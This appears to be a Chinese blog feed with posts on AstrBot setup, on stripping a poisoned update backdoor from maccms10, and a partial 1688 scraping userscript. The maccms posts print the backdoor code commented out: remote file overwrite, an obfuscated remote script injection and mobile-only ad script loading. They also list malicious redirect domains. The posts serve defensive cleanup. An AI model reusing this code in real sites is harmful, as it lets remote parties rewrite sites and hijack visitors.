AI摘要 本文介绍了为 AstrBot 安装 Whisper 语音识别的步骤。首先，通过平台或命令行安装 `openai-whisper` 库。安装成功后，需重启 AstrBot 容器或服务器以使更改生效。接着，在 AstrBot 后台的语音转文字设置中添加 Whisper(local) 模型并进行测试。最后，提醒用户确保已安装 `ffmpeg` 环境，若未安装可在容器内使用 `apt install -y ffmpeg` 命令进行安装。 此内容根据文章生成，仅用于文章内容的解释与总结 AstrBot 安装 Whisper 语音识别1.两种安装方法所需库openai-whisper方法一 平台安装AstrBot后台->更多功能->平台日志->安装Pip库输入openai-whisper安装，如果安装不成功就换源方法二 命令行安装进入服务器，如果使用docker则进入容器docker进入容器命令docker exec -it 容器id bash执行命令进行pip安装pip install -U openai-whisper2.重启安装成功后，平台不生效，需要重启容器或者服务器重启容器命令docker restart 容器id3.添加模型后台语音转文字，添加Whisper(local)的模型，测试，成功运行注意如果没有ffmpeg环境，就安装一下。容器内可以使用该命令安装apt install -y ffmpeg
AI摘要 本文详细介绍了如何通过`docker-compose`部署AstrBot和NapCatQQ。提供的`docker-compose.yml`配置了两个服务，包括NapCatQQ（QQ机器人框架）和AstrBot（其插件）。配置涵盖了网络、端口映射、数据卷挂载及环境变量，并指出两者可通过容器名连接，如`ws://astrbot:6199/ws`，实现自动化部署和管理。 此内容根据文章生成，仅用于文章内容的解释与总结 docker-compose 部署 AstrBot + NapCatQQ不用1panel的话，网卡可以自行修改。连接的话可以直接使用容器名链接。例如ws://astrbot:6199/ws启动命令docker compose up -dversion: '3.8' networks: 1panel-network: external: true services: # NapCat 服务 napcat: image: mlikiowa/napcat-docker:latest container_name: napcat restart: always networks: - 1panel-network ports: - "3001:3001" - "6099:6099" environment: - WS_ENABLE=true - NAPCAT_UID=${UID:-1000} - NAPCAT_GID=${GID:-1000} volumes: - ./napcat/config:/app/napcat/config - ./ntqq:/app/.config/QQ # AstrBot 服务 astrbot: image: soulter/astrbot:v4.20.0 container_name: astrbot restart: always networks: - 1panel-network ports: - "6185:6185" - "6194:6194" - "6195:6195" - "6196:6196" - "6199:6199" - "11451:11451" volumes: - ./astrbot/data:/AstrBot/data - ./ntqq:/app/.config/QQ - ./whisper/cache:/root/.cache environment: - TZ=Asia/Shanghai
AI摘要 本文详细介绍了如何从苹果cms10中去除官方更新，以应对官方更新通道可能存在的安全风险。主要步骤包括：从GitHub下载源代码，批量替换官方域名为空或自定义域名，注释掉`Update.php`和`Safety.php`中的更新后门代码，移除播放器文件中的广告链接，以及注释掉多个JavaScript文件中的更新检测和请求代码。此外，还建议在服务器层面屏蔽官方域名，以彻底杜绝潜在的安全隐患。 此内容根据文章生成，仅用于文章内容的解释与总结 苹果cms10 去除官方更新根据奇安信实锤，基本上可以确认是官方更新通道投毒https://mp.weixin.qq.com/s/nl_Pntpoys9NVBp7RKLJvg1.下载源代码从github中下载源代码，一般来说后门不会直勾勾的写在github上，都是通过安装之后通过自动更新加入到代码中。所以此时的github代码是安全的https://github.com/magicblack/maccms102.批量替换域名（关键）使用代码编辑器，批量替换代码域名，此处域名我以自己网站代替，即使自己的域名有些请求失败，但是也好过官方的。union.maccms.la => 所有带有该域名的链接全部改为空maccms.la => 替换成自己的域名aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv => 该字符串为更新域名的base64编码，替换为空，有两处地方要修改。application/admin/controller/Update.phpapplication/admin/controller/Safety.php3.注释更新后门文件（关键）文件路径：application/admin/controller/Update.php<?php namespace app\admin\controller; use think\Db; use app\common\util\PclZip; class Update extends Base { var $_url; var $_save_path; public function __construct() { parent::__construct(); //header('X-Accel-Buffering: no'); $this->_url = base64_decode("")."v10/"; $this->_save_path = './application/data/update/'; } public function index() { return $this->fetch('admin@test/index'); } public function step1($file='') { // if(empty($file)){ // return $this->error(lang('param_err')); // } // $version = config('version.code'); // $url = $this->_url .$file . '.zip?t='.time(); // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step1_a')." ".lang('admin/update/step1_b')."\n"; // ob_flush();flush(); // sleep(1); // $save_file = $version.'.zip'; // $html = mac_curl_get($url); // @fwrite(@fopen($this->_save_path.$save_file,'wb'),$html); // if(!is_file($this->_save_path.$save_file)){ // echo lang('admin/update/download_err')."\n"; // exit; // } // if(filesize($this->_save_path.$save_file) <1){ // @unlink($this->_save_path.$save_file); // echo lang('admin/update/download_err')."\n"; // exit; // } // echo lang('admin/update/download_ok')."\n"; // echo lang('admin/update/upgrade_package_processed')."\n"; // ob_flush();flush(); // sleep(1); // $archive = new PclZip(); // $archive->PclZip($this->_save_path.$save_file); // if(!$archive->extract(PCLZIP_OPT_PATH, '', PCLZIP_OPT_REPLACE_NEWER)) { // echo $archive->error_string."\n"; // echo lang('admin/update/upgrade_err').'' ."\n";; // exit; // } // else{ // } // @unlink($this->_save_path.$save_file); // echo ' '; // mac_jump( url('update/step2',['jump'=>1]) ,3); } public function step2() { // $version = config('version.code'); // $save_file = 'database.php'; // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step2_a')." \n"; // ob_flush();flush(); // sleep(1); // $res=true; // // 导入SQL // $sql_file = $this->_save_path .$save_file; // if (is_file($sql_file)) { // echo lang('admin/update/upgrade_sql')."\n"; // ob_flush();flush(); // $pre = config('database.prefix'); // $schema = Db::query('select * from information_schema.columns where table_schema = ?',[ config('database.database') ]); // $col_list = []; // $sql=''; // foreach($schema as $k=>$v){ // $col_list[$v['TABLE_NAME']][$v['COLUMN_NAME']] = $v; // } // @include $sql_file; // //dump($sql);die; // /* // //$html = @file_get_contents($sql_file); // //$sql = mac_get_body($html,'--'.$version.'-start--','--'.$version.'-end--'); // $sql = @file_get_contents($sql_file); // */ // if(!empty($sql)) { // $sql_list = mac_parse_sql($sql, 0, ['mac_' => $pre]); // if ($sql_list) { // $sql_list = array_filter($sql_list); // foreach ($sql_list as $v) { // echo $v; // try { // Db::execute($v); // echo " ---".lang('success')."\n\n"; // } catch (\Exception $e) { // echo " ---".lang('fail')."\n\n"; // } // ob_flush();flush(); // } // } // } // else{ // } // @unlink($sql_file); // } // else{ // echo lang('admin/update/no_sql')."\n"; // } // echo ' '; // mac_jump(url('update/step3', ['jump' => 1]), 3); } public function step3() { // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step3_a')." \n"; // ob_flush();flush(); // sleep(1); // $this->_cache_clear(); // echo lang('admin/update/update_cache')." "; // echo lang('admin/update/upgrade_complete')." "; // if(is_file($this->_save_path . 'database.php')){ // echo "" . lang('admin/update/not_delete') . ":application/data/update/database.php"; // } // ob_flush();flush(); // echo ' '; } public function one() { // $param = input(); // $a = $param['a']; // $b = $param['b']; // $c = $param['c']; // $d = $param['d']; // $e = mac_curl_get( base64_decode("") . $a."/".$b); // if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) { // if (($d!="") && strpos(",".$e,$d) <=0){ return; } // if($b=='admin.php'){$b=IN_FILE;} // $f = is_file($b) ? filesize($b) : 0; // if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); } // } die; } }4.播放器文件去除广告链接（关键）文件路径：static/js/player.js文件路径：static_new/js/player.js该播放器文件代码已混淆，解密后发现官方在手机端引入//union.maccms.la/html/top10.js从而有概率跳转广告解密后文件如下var killErrors = function(value) { return true }; window.onerror = null; window.onerror = killErrors; var base64EncodeChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; var base64DecodeChars = new Array(-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1); function base64encode(str) { var out, i, len; var c1, c2, c3; len = str.length; i = 0; out = ""; while (i < len) { c1 = str.charCodeAt(i++) & 0xff; if (i == len) { out += base64EncodeChars.charAt(c1 >> 2); out += base64EncodeChars.charAt((c1 & 0x3) << 4); out += "=="; break } c2 = str.charCodeAt(i++); if (i == len) { out += base64EncodeChars.charAt(c1 >> 2); out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4)); out += base64EncodeChars.charAt((c2 & 0xF) << 2); out += "="; break } c3 = str.charCodeAt(i++); out += base64EncodeChars.charAt(c1 >> 2); out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4)); out += base64EncodeChars.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >> 6)); out += base64EncodeChars.charAt(c3 & 0x3F) } return out } function base64decode(str) { var c1, c2, c3, c4; var i, len, out; len = str.length; i = 0; out = ""; while (i < len) { do { c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff] } while (i < len && c1 == -1); if (c1 == -1) break; do { c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff] } while (i < len && c2 == -1); if (c2 == -1) break; out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4)); do { c3 = str.charCodeAt(i++) & 0xff; if (c3 == 61) return out; c3 = base64DecodeChars[c3] } while (i < len && c3 == -1); if (c3 == -1) break; out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2)); do { c4 = str.charCodeAt(i++) & 0xff; if (c4 == 61) return out; c4 = base64DecodeChars[c4] } while (i < len && c4 == -1); if (c4 == -1) break; out += String.fromCharCode(((c3 & 0x03) << 6) | c4) } return out } function utf16to8(str) { var out, i, len, c; out = ""; len = str.length; for (i = 0; i < len; i++) { c = str.charCodeAt(i); if ((c >= 0x0001) && (c <= 0x007F)) { out += str.charAt(i) } else if (c > 0x07FF) { out += String.fromCharCode(0xE0 | ((c >> 12) & 0x0F)); out += String.fromCharCode(0x80 | ((c >> 6) & 0x3F)); out += String.fromCharCode(0x80 | ((c >> 0) & 0x3F)) } else { out += String.fromCharCode(0xC0 | ((c >> 6) & 0x1F)); out += String.fromCharCode(0x80 | ((c >> 0) & 0x3F)) } } return out } function utf8to16(str) { var out, i, len, c; var char2, char3; out = ""; len = str.length; i = 0; while (i < len) { c = str.charCodeAt(i++); switch (c >> 4) { case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: out += str.charAt(i - 1); break; case 12: case 13: char2 = str.charCodeAt(i++); out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F)); break; case 14: char2 = str.charCodeAt(i++); char3 = str.charCodeAt(i++); out += String.fromCharCode(((c & 0x0F) << 12) | ((char2 & 0x3F) << 6) | ((char3 & 0x3F) << 0)); break } } return out } var MacPlayer = { 'GetDate': function(f, t) { if (!t) { t = new Date() } var a = ['日', '一', '二', '三', '四', '五', '六']; f = f.replace(/yyyy|YYYY/, t.getFullYear()); f = f.replace(/yy|YY/, (t.getYear() % 100) > 9 ? (t.getYear() % 100).toString() : '0' + (t.getYear() % 100)); f = f.replace(/MM/, t.getMonth() > 9 ? t.getMonth().toString() : '0' + t.getMonth()); f = f.replace(/M/g, t.getMonth()); f = f.replace(/w|W/g, a[t.getDay()]); f = f.replace(/dd|DD/, t.getDate() > 9 ? t.getDate().toString() : '0' + t.getDate()); f = f.replace(/d|D/g, t.getDate()); f = f.replace(/hh|HH/, t.getHours() > 9 ? t.getHours().toString() : '0' + t.getHours()); f = f.replace(/h|H/g, t.getHours()); f = f.replace(/mm/, t.getMinutes() > 9 ? t.getMinutes().toString() : '0' + t.getMinutes()); f = f.replace(/m/g, t.getMinutes()); f = f.replace(/ss|SS/, t.getSeconds() > 9 ? t.getSeconds().toString() : '0' + t.getSeconds()); f = f.replace(/s|S/g, t.getSeconds()); return f }, 'GetUrl': function(s, n) { return this.Link.replace('{sid}', s).replace('{sid}', s).replace('{nid}', n).replace('{nid}', n) }, 'Go': function(s, n) { location.href = this.GetUrl(s, n) }, 'Show': function() { $('#buffer').attr('src', this.Prestrain); setTimeout(function() { MacPlayer.AdsEnd() }, this.Second * 1000); $("#playleft").get(0).innerHTML = this.Html + ''; // 非Windows和Mac平台官方投毒 // if (!/(Win|Mac)/i.test(navigator.platform)) { // var a = document.createElement('script'); // a.type = 'text/javascript'; // a.async = true; // a.charset = 'utf-8'; // a.src = base64decode('Ly91bmlvbi5tYWNjbXMubGEvaHRtbC90b3AxMC5qcw==') + '?r=' + this.GetDate('yyyyMMdd'); // var b = document.getElementsByTagName('script')[0]; // b.parentNode.insertBefore(a, b) // } }, 'AdsStart': function() { if ($("#buffer").attr('src') != this.Buffer) { $("#buffer").attr('src', this.Buffer) } $("#buffer").show() }, 'AdsEnd': function() { $('#buffer').hide() }, 'Install': function() { this.Status = false; $('#install').show() }, 'Play': function() { document.write(' ' + ' ' + ' '); this.offsetHeight = $('.MacPlayer').get(0).offsetHeight; this.offsetWidth = $('.MacPlayer').get(0).offsetWidth; document.write('<scr' + 'ipt src="' + this.Path + this.PlayFrom + '.js"></scr' + 'ipt>') }, 'Down': function() {}, 'Init': function() { this.Status = true; this.Parse = ''; var a = player_aaaa; if (a.encrypt == '1') { a.url = unescape(a.url); a.url_next = unescape(a.url_next) } else if (a.encrypt == '2') { a.url = unescape(base64decode(a.url)); a.url_next = unescape(base64decode(a.url_next)) } this.Agent = navigator.userAgent.toLowerCase(); this.Width = MacPlayerConfig.width; this.Height = MacPlayerConfig.height; if (this.Agent.indexOf("android") > 0 || this.Agent.indexOf("mobile") > 0 || this.Agent.indexOf("ipod") > 0 || this.Agent.indexOf("ios") > 0 || this.Agent.indexOf("iphone") > 0 || this.Agent.indexOf("ipad") > 0) { this.Width = MacPlayerConfig.widthmob; this.Height = MacPlayerConfig.heightmob } if (this.Width.indexOf("px") == -1 && this.Width.indexOf("%") == -1) { this.Width = '100%' } if (this.Height.indexOf("px") == -1 && this.Height.indexOf("%") == -1) { this.Height = '100%' } this.Prestrain = MacPlayerConfig.prestrain; this.Buffer = MacPlayerConfig.buffer; this.Second = MacPlayerConfig.second; this.Flag = a.flag; this.Trysee = a.trysee; this.Points = a.points; this.Link = decodeURIComponent(a.link); this.PlayFrom = a.from; this.PlayNote = a.note; this.PlayServer = a.server == 'no' ? '' : a.server; this.PlayUrl = a.url; this.PlayUrlNext = a.url_next; this.PlayLinkNext = a.link_next; this.PlayLinkPre = a.link_pre; this.Id = a.id; this.Sid = a.sid; this.Nid = a.nid; if (MacPlayerConfig.server_list[this.PlayServer] != undefined) { this.PlayServer = MacPlayerConfig.server_list[this.PlayServer].des } if (MacPlayerConfig.player_list[this.PlayFrom] != undefined) { if (MacPlayerConfig.player_list[this.PlayFrom].ps == "1") { this.Parse = MacPlayerConfig.player_list[this.PlayFrom].parse == '' ? MacPlayerConfig.parse : MacPlayerConfig.player_list[this.PlayFrom].parse; this.PlayFrom = 'parse' } } this.Path = maccms.path + '/static/player/'; if (this.Flag == "down") { MacPlayer.Down() } else { MacPlayer.Play() } } }; MacPlayer.Init(); 5.注释更新JavaScript文件文件路径：static_new/js/update.js// String.prototype.replaceAll = function (FindText, RepText) { // regExp = new RegExp(FindText, "g"); // return this.replace(regExp, RepText); // } // function getQS(par, name) { // var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); // var r = par.substr(1).match(reg); // if (r != null) return unescape(r[2]); return null; // } // function msck(n, v) { var exp = new Date(); exp.setTime(exp.getTime() + 30 * 60 * 1000); document.cookie = n + "=" + escape(v) + ";path=/;expires=" + exp.toGMTString() } // function mgck(n) { var arr, reg = new RegExp("(^| )" + n + "=([^;]*)(;|$)"); if (arr = document.cookie.match(reg)) return unescape(arr[2]); else return null } // var new_v = '2024.1000.4044'; // var update_content = [ // 'v2024.1000.4044 更新内容：', // '1，优化重名检测卡顿问题。', // '2，入库重复规移除名称必选和新增豆瓣id。', // '3，修正帐号无法登出问题。', // '4，其他细节优化。', // ].join(' '); // var package = 'maccms10_update'; // var domain = 'update.000081.xyz/'; // var params = window.location.search; // var scripts = document.getElementsByTagName('script'); // for (i = 0; i < scripts.length; i++) { // var lastUrl = scripts[i].src; // if (lastUrl.indexOf(domain) > -1) { // params = lastUrl.substr(lastUrl.indexOf('?')); // } // } // var de = new Date(), mh = de.getMonth() + 1, da = de.getDate(), rr = mh + "" + da; // var c = getQS(params, 'c'); // var v = getQS(params, 'v'); // var p = getQS(params, 'p'); // var tp = getQS(params, 'tp'); // var v1 = v.replace(/\./g, ""); // var v2 = new_v.replace(/\./g, ""); // var html = ''; // if (v2 > v1) { // html += ` // // // 更新提示【${new_v}】>>> // Telegram群https://t.me/maccms_channel // // Github源码https://github.com/magicblack // // // // // // 警告，补丁包【${new_v}】发布，修复安全漏洞和更新服务，请及时升级相应补丁！ // // // 【点击进入在线升级】 // // // 【下载离线升级包线路1】 // // // 【下载离线升级包线路2】 // // // // // ${update_content} // // `; // } // else { // html += ` // // // 更新提示>>> // Telegram群https://t.me/maccms_channel // // Github源码https://github.com/magicblack // // // // 当前是最新版本！ // // `; // } // if (tp != null) { // var v3 = tp.replace(/\./g, ""); // if (v3 < 5024) { // html += ` // // ThinkPHP框架更新提示 // // // // 警告：ThinkPHP5.0.24版本发布安全更新，建议更新框架以免造成不必要的损失，下载后直接覆盖到网站根目录即可！ // // 【点击下载框架升级包】 // // // // `; // } // } // $("body").append(" "); // $("table:last").after(html);6.注释index.html下的ajax更新请求文件路径：application/admin/view_new/index/index.html var layer; layui.use(['element', 'layer', 'form'], function () { var $ = layui.jquery, element = layui.element, form = layui.form; layer = layui.layer; console.log("MAC_VERSION", MAC_VERSION) // if (typeof (MAC_VERSION) != 'undefined' && typeof (PHP_VERSION) != 'undefined' && typeof (THINK_VERSION) != 'undefined') { // $.ajax({ // url: `https://update.000081.xyz/v10/?c=check&v=${MAC_VERSION}&p=${PHP_VERSION}&tp=${THINK_VERSION}&t=${Math.random()}`, // type: 'GET', // dataType: 'text', // 确保返回的数据被视为纯文本 // success: function (response) { // // 使用正则表达式提取update_content // // var updateContentRegex = /var update_content = \[((?:.|\n)*?)\].join\(' \');/g; // var updateContentMatch = response.match(/var update_content\s*=\s*\[(.*?)\]\.join\(' '\);/s); // console.log("updateContentMatch", updateContentMatch) // if (updateContentMatch){ // eval(updateContentMatch[0]) // } // // 使用正则表达式提取new_v // var newVRegex = /var new_v = '(.*?)';/; // var newVMatch = response.match(newVRegex); // var newV = newVMatch ? newVMatch[1] : '未找到new_v'; // if (newV > MAC_VERSION) { // // 存储更新信息到全局变量，供showUpdateDialog函数使用 // window.updateInfo = { // newV: newV, // update_content: update_content, // package: 'maccms10_update' // }; // // 显示更新按钮而不是直接弹窗（在两个位置都显示） // $('.layout-right #update-notification').show().addClass('show'); // $('.bottom-nav #update-notification').show().addClass('show'); // } // }, // error: function (xhr, status, error) { // console.error('AJAX请求失败:', error); // } // }); // } // layer.msg('提示信息', { time: 180000 }); element.init('nav', 'demo'); // 重新渲染select，将下拉弹层插入到body form.render('select', { render: true });7.注释检测更新文件文件路径：static/js/admin_common.js第19行 $(function(){ if( typeof(MAC_VERSION) !='undefined' && typeof(PHP_VERSION) !='undefined' && typeof(THINK_VERSION) !='undefined' ) { // eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$(\'3\').9(\'<0\'+\'1 4="\'+\'//5.6.7/8/?c=2&a=\'+b+\'&d=\'+e+\'&f=\'+g+\'&h=\'+i.j()+\'"></0\'+\'1>\');',20,20,'scr|ipt|check|body|src|update|maccms|la|v10|append|v|MAC_VERSION||p|PHP_VERSION|tp|THINK_VERSION|t|Math|random'.split('|'),0,{})); } });该混淆解码后内容如下$('body').append(' ');8.屏蔽maccms.la域名，可选操作服务器中，屏蔽官方域名，防止其他没改到的地方更新maccms.la*.maccms.la提供已去除更新程序提供的程序已按照上述流程去除更新，只需要将000081.xyz自行替换为自己的域名{cloud title="OpenList" type="default" url="https://pan.000081.xyz/%E5%8D%9A%E5%AE%A2/php/%E8%8B%B9%E6%9E%9Ccms10/maccms10-2025.1000.4052.zip" password=""/}
苹果cms10 挂码手机端自动跳转非法网站处理
AI摘要 苹果cms10手机端自动跳转非法网站，经证实是官方更新通道投毒。恶意链接包括播放器引用`union.maccms.la`和`application/extra/active.php`文件，后者加载伪装的恶意JS，主要针对移动端。处理方法：1. 屏蔽官方更新域名`update.maccms.la`，将代码中相关链接置空或注释`Update.php`和`Safety.php`中的更新方法。2. 批量替换所有`maccms.la`域名。3. 删除`application/extra/active.php`文件。 此内容根据文章生成，仅用于文章内容的解释与总结 苹果cms10 挂码手机端自动跳转非法网站处理{alert type="info"}程序使用的是maccms.la的苹果cms，记录目前处理方法，不一定有效，可能还有漏网之鱼。{/alert}{message type="error" content="2026/3/15 17:00 实测此方法并不能完全解决，还有漏网之鱼，手机端还是偶尔会跳转"/}去更新可以查看这篇 https://www.000081.xyz/index.php/archives/388/{message type="success" content="2026/3/15 18:00 请从github下载最新的程序，进行域名替换，去除官方更新，然后再导入数据库数据，此方法目前有效"/}根据奇安信实锤，基本上可以确认是官方更新通道投毒https://mp.weixin.qq.com/s/nl_Pntpoys9NVBp7RKLJvg1.目前已知的非法跳转有播放器引用链接：union.maccms.la/html/prestrain.html播放器引用链接：union.maccms.la/html/loading.htmlapplication/extra/active.php文件active.php文件里面有gzuncompress加密，借助ai代码审计后解密后的内容 AI代码审计主要恶意文件：application/extra/active.php 该文件包含大量恶意代码，通过 gzuncompress 压缩隐藏： 解密后发现的内容： 恶意JavaScript脚本：加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js（伪装成jQuery） 恶意域名列表：用于流量劫持和跳转 http://maccms.info:88 https://www.ywquyq.com:10443 https://vodplay2.com 等多个恶意域名 攻击特点： ✅ 仅针对移动端用户（!$env->isMobile() 时跳过） ✅ 绕过管理员IP检测 ✅ 通过 view_filter 钩子自动执行 ✅ 包含反调试功能伪装的jquery链接，在电脑打开，返回内容为空白，电脑切换为手机的ua，才会正常加载内容2.处理方法2.1.屏蔽官方更新更新文件路径：application/admin/controller/Update.php更新文件路径：application/admin/controller/Safety.php将所有 "aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv" 内容替换为 ""aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv内容base64解码后为http://update.maccms.la/Update.php文件中，方法内容注释<?php namespace app\admin\controller; use think\Db; use app\common\util\PclZip; class Update extends Base { var $_url; var $_save_path; public function __construct() { parent::__construct(); //header('X-Accel-Buffering: no'); //aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv $this->_url = base64_decode("")."v10/"; $this->_save_path = './application/data/update/'; } public function index() { return $this->fetch('admin@test/index'); } public function step1($file='') { // if(empty($file)){ // return $this->error(lang('param_err')); // } // $version = config('version.code'); // $url = $this->_url .$file . '.zip?t='.time(); // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step1_a')." ".lang('admin/update/step1_b')."\n"; // ob_flush();flush(); // sleep(1); // $save_file = $version.'.zip'; // $html = mac_curl_get($url); // @fwrite(@fopen($this->_save_path.$save_file,'wb'),$html); // if(!is_file($this->_save_path.$save_file)){ // echo lang('admin/update/download_err')."\n"; // exit; // } // if(filesize($this->_save_path.$save_file) <1){ // @unlink($this->_save_path.$save_file); // echo lang('admin/update/download_err')."\n"; // exit; // } // echo lang('admin/update/download_ok')."\n"; // echo lang('admin/update/upgrade_package_processed')."\n"; // ob_flush();flush(); // sleep(1); // $archive = new PclZip(); // $archive->PclZip($this->_save_path.$save_file); // if(!$archive->extract(PCLZIP_OPT_PATH, '', PCLZIP_OPT_REPLACE_NEWER)) { // echo $archive->error_string."\n"; // echo lang('admin/update/upgrade_err').'' ."\n";; // exit; // } // else{ // } // @unlink($this->_save_path.$save_file); // echo ' '; // mac_jump( url('update/step2',['jump'=>1]) ,3); } public function step2() { // $version = config('version.code'); // $save_file = 'database.php'; // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step2_a')." \n"; // ob_flush();flush(); // sleep(1); // $res=true; // // 导入SQL // $sql_file = $this->_save_path .$save_file; // if (is_file($sql_file)) { // echo lang('admin/update/upgrade_sql')."\n"; // ob_flush();flush(); // $pre = config('database.prefix'); // $schema = Db::query('select * from information_schema.columns where table_schema = ?',[ config('database.database') ]); // $col_list = []; // $sql=''; // foreach($schema as $k=>$v){ // $col_list[$v['TABLE_NAME']][$v['COLUMN_NAME']] = $v; // } // @include $sql_file; // //dump($sql);die; // /* // //$html = @file_get_contents($sql_file); // //$sql = mac_get_body($html,'--'.$version.'-start--','--'.$version.'-end--'); // $sql = @file_get_contents($sql_file); // */ // if(!empty($sql)) { // $sql_list = mac_parse_sql($sql, 0, ['mac_' => $pre]); // if ($sql_list) { // $sql_list = array_filter($sql_list); // foreach ($sql_list as $v) { // echo $v; // try { // Db::execute($v); // echo " ---".lang('success')."\n\n"; // } catch (\Exception $e) { // echo " ---".lang('fail')."\n\n"; // } // ob_flush();flush(); // } // } // } // else{ // } // @unlink($sql_file); // } // else{ // echo lang('admin/update/no_sql')."\n"; // } // echo ' '; // mac_jump(url('update/step3', ['jump' => 1]), 3); } public function step3() { // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step3_a')." \n"; // ob_flush();flush(); // sleep(1); // $this->_cache_clear(); // echo lang('admin/update/update_cache')." "; // echo lang('admin/update/upgrade_complete')." "; // if(is_file($this->_save_path . 'database.php')){ // echo "" . lang('admin/update/not_delete') . ":application/data/update/database.php"; // } // ob_flush();flush(); // echo ' '; } public function one() { // $param = input(); // $a = $param['a']; // $b = $param['b']; // $c = $param['c']; // $d = $param['d']; // //aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv // $e = mac_curl_get( base64_decode("") . $a."/".$b); // if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) { // if (($d!="") && strpos(",".$e,$d) <=0){ return; } // if($b=='admin.php'){$b=IN_FILE;} // $f = is_file($b) ? filesize($b) : 0; // if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); } // } die; } }保险起见可以在服务器屏蔽官方域名maccms.la*.maccms.la2.2.替换所有maccms.la域名代码中批量替换所有maccms.la域名，将带有maccms.la域名的参数和链接全部置空，也可以替换成自己的域名，即使打不开也好过引用官方的链接2.3.删除active.php文件删除产生的active.php文件application/extra/active.php
AI摘要 这是一个油猴脚本，用于自动爬取1688商品搜索列表和店铺商品列表数据。它通过拦截XHR请求和JSONP回调获取列表数据，并利用iframe抓取商品详情页数据。脚本提供了一个日志面板，并指示用户在两处代码中补充将商品信息上传到数据库的逻辑，以及进行数据库校验，实现自动化数据采集。 此内容根据文章生成，仅用于文章内容的解释与总结 油猴 1688列表自动爬取数据此代码为油猴脚本，用于1688商品搜索列表和店铺商品列表爬取自动数据，请在商品两处地方补充自己的代码，将商品信息上传到自己的数据库。代码原理是，hook 1688的xhr请求，请求中途拦截响应，取出请求内容处理。但是有些请求是通过JSONP的方式，就是通过script标签动态插入body，从而让浏览器加载，所以同样监听了script加载内容回调，符合的响应内容则返回。对于商品详情的数据，则通过iframe，父页面开启监听，子页面进行推送。// ==UserScript== // @name 1688列表自动爬取数据 // @namespace http://tampermonkey.net/ // @version 0.2 // @description 1688列表自动爬取数据 // @author 我亏一点 // @match *.1688.com/page/offerlist.htm* // @match *.1688.com/offer/*.html* // @match *.1688.com/selloffer/offer_search.htm* // @icon https://s1.ax1x.com/2022/10/14/xwsJYT.png // @grant none // ==/UserScript== (function () { "use strict"; const config = { lock: false, //是否自动爬取 true为是，false为否 run_status: false, //是否正在拦截爬取 sleep: 5, // 爬取间隔 (秒) iframe_timeout: 3600, // 最大等待时间（秒），防止卡死 debug: false, // 是否开启测试，开启只会爬一个数据 data: [], //数据集 is_iframe: window.self !== window.top, type: "", // 页面类型 shop_list为店铺商品列表，goods_list为搜索商品列表，detail为商品详情 type_match: { shop_list: "mtop.alibaba.alisite.cbu.server.moduleasyncservice", // 店铺商品列表 goods_list: "mtop.relationrecommend.wirelessrecommend.recommend", // 搜索商品列表 }, }; //================创建面板开始==================== // 创建一个 div 元素用于显示日志 const logDiv = document.createElement("div"); logDiv.id = "log-div-1688"; logDiv.style.position = "fixed"; logDiv.style.bottom = "10px"; logDiv.style.left = "10px"; logDiv.style.width = "400px"; logDiv.style.height = "300px"; logDiv.style.overflowY = "auto"; logDiv.style.border = "10px solid black"; logDiv.style.backgroundColor = "white"; logDiv.style.zIndex = 9999; logDiv.style.padding = "20px"; logDiv.style.boxShadow = "0 4px 8px rgba(0, 0, 0, 0.1)"; logDiv.style.wordWrap = "break-word"; logDiv.style.overflowWrap = "break-word"; logDiv.style.fontFamily = "monospace"; logDiv.style.fontSize = "12px"; // 日志容器 - 使用单独的容器存放日志条目 const logContainer = document.createElement("div"); logContainer.id = "log-container-1688"; logContainer.style.maxHeight = "240px"; logContainer.style.overflowY = "auto"; logDiv.appendChild(logContainer); // 日志头部 const logHeader = document.createElement("p"); logHeader.style.color = "green"; logHeader.style.fontWeight = "bold"; logHeader.style.margin = "0 0 10px 0"; logHeader.textContent = "插件初始化——我亏一点"; logDiv.insertBefore(logHeader, logContainer); document.body.appendChild(logDiv); // 日志配置 const logConfig = { 